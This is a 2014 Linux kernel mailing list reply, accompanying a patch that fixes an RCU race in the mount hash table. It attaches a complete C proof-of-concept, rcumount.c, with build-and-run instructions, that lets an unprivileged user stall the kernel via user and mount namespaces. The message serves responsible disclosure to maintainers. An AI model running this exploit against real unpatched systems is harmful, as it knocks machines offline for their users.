From: Max Kellermann <max@duempel.org>
To: viro@zeniv.linux.org.uk, linux-kernel@vger.kernel.org
Subject: Re: [PATCH 1/2] fs/namespace: don't clobber mnt_hash.next while umounting
Date: Wed, 19 Mar 2014 22:24:04 +0100 [thread overview]
Message-ID: <20140319212404.GA29059@swift.blarg.de> (raw)
In-Reply-To: <20140319212226.25520.98808.stgit@rabbit.intern.cm-ag>
[-- Attachment #1: Type: text/plain, Size: 250 bytes --]
On 2014/03/19 22:22, Max Kellermann <mk@cm4all.com> wrote:
> In the presence of user+mount namespaces, this bug can be exploited by
> any unprivileged user to stall the kernel (denial of service by soft
> lockup).
Proof-of-concept exploit attached.
[-- Attachment #2: rcumount.c --]
[-- Type: text/x-csrc, Size: 1878 bytes --]
/*
* Exploit for linux commit 48a066e72d970a3e225a9c18690d570c736fc455:
* endless loop in __lookup_mnt() because the mount_hashtable does not
* have enough RCU protection.
*
* How to use:
*
* gcc -D_GNU_SOURCE -std=gnu99 -o rcumount rcumount.c && ./rcumount
*
* Wait a few minutes until "rcu_sched self-detected stall" appears.
* The machine is now unusable.
*
* Author: Max Kellermann <max@duempel.org>
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <sched.h>
#include <sys/mount.h>
#include <sys/stat.h>
static void stress(void) {
/* make all mounts private so our namespace "owns" them */
mount(NULL, "/", NULL, MS_PRIVATE|MS_REC, NULL);
while (1) {
/* stress the mount_hashtable which will at some point modify
a list_head which is rcu-protected but still referenced by
another kernel thread; this may or may not lead this other
kernel thread into an endless loop inside __lookup_mnt()
never sees the head again */
if (mount("none", "/tmp", "tmpfs", 0, "size=16M,nr_inodes=256") == 0)
umount2("/tmp", MNT_DETACH);
/* ask the kernel to walk the mount hash, which may trigger
the __lookup_mnt() */
struct stat st;
stat("/tmp/..", &st);
}
}
static int fn(void *arg) {
(void)arg;
/* launch child processes */
for (unsigned i = 0; i < 32; ++i) {
if (fork() == 0) {
stress();
exit(0);
}
}
/* cleanup */
int status;
do {} while(wait(&status) > 0);
return 0;
}
int main(int argc, char **argv) {
/* create a new user+vfs namespace which allows us to mount() */
char stack[65536];
clone(fn, stack + sizeof(stack), SIGCHLD|CLONE_NEWNS|CLONE_NEWUSER, NULL);
/* cleanup */
int status; wait(&status);
}
next prev parent reply other threads:[~2014-03-19 21:31 UTC|newest]
Thread overview: 9+ messages / expand[flat|nested] mbox.gz Atom feed top
2014-03-19 21:22 [PATCH 1/2] fs/namespace: don't clobber mnt_hash.next while umounting Max Kellermann
2014-03-19 21:22 ` [PATCH 2/2] fs/namespace: use RCU list functions for mnt_hash Max Kellermann
2014-03-19 21:24 ` Max Kellermann [this message]
2014-03-19 21:37 ` [PATCH 1/2] fs/namespace: don't clobber mnt_hash.next while umounting Max Kellermann
2014-03-19 21:39 ` [PATCH] fs/namespace: don't clobber mnt_hash.next while umounting [v2] Max Kellermann
2014-03-20 3:48 ` Al Viro
2014-03-20 4:02 ` Linus Torvalds
2014-03-20 4:21 ` Al Viro
2014-03-20 4:58 ` Linus Torvalds
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=20140319212404.GA29059@swift.blarg.de \
--to=max@duempel.org \
--cc=linux-kernel@vger.kernel.org \
--cc=viro@zeniv.linux.org.uk \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox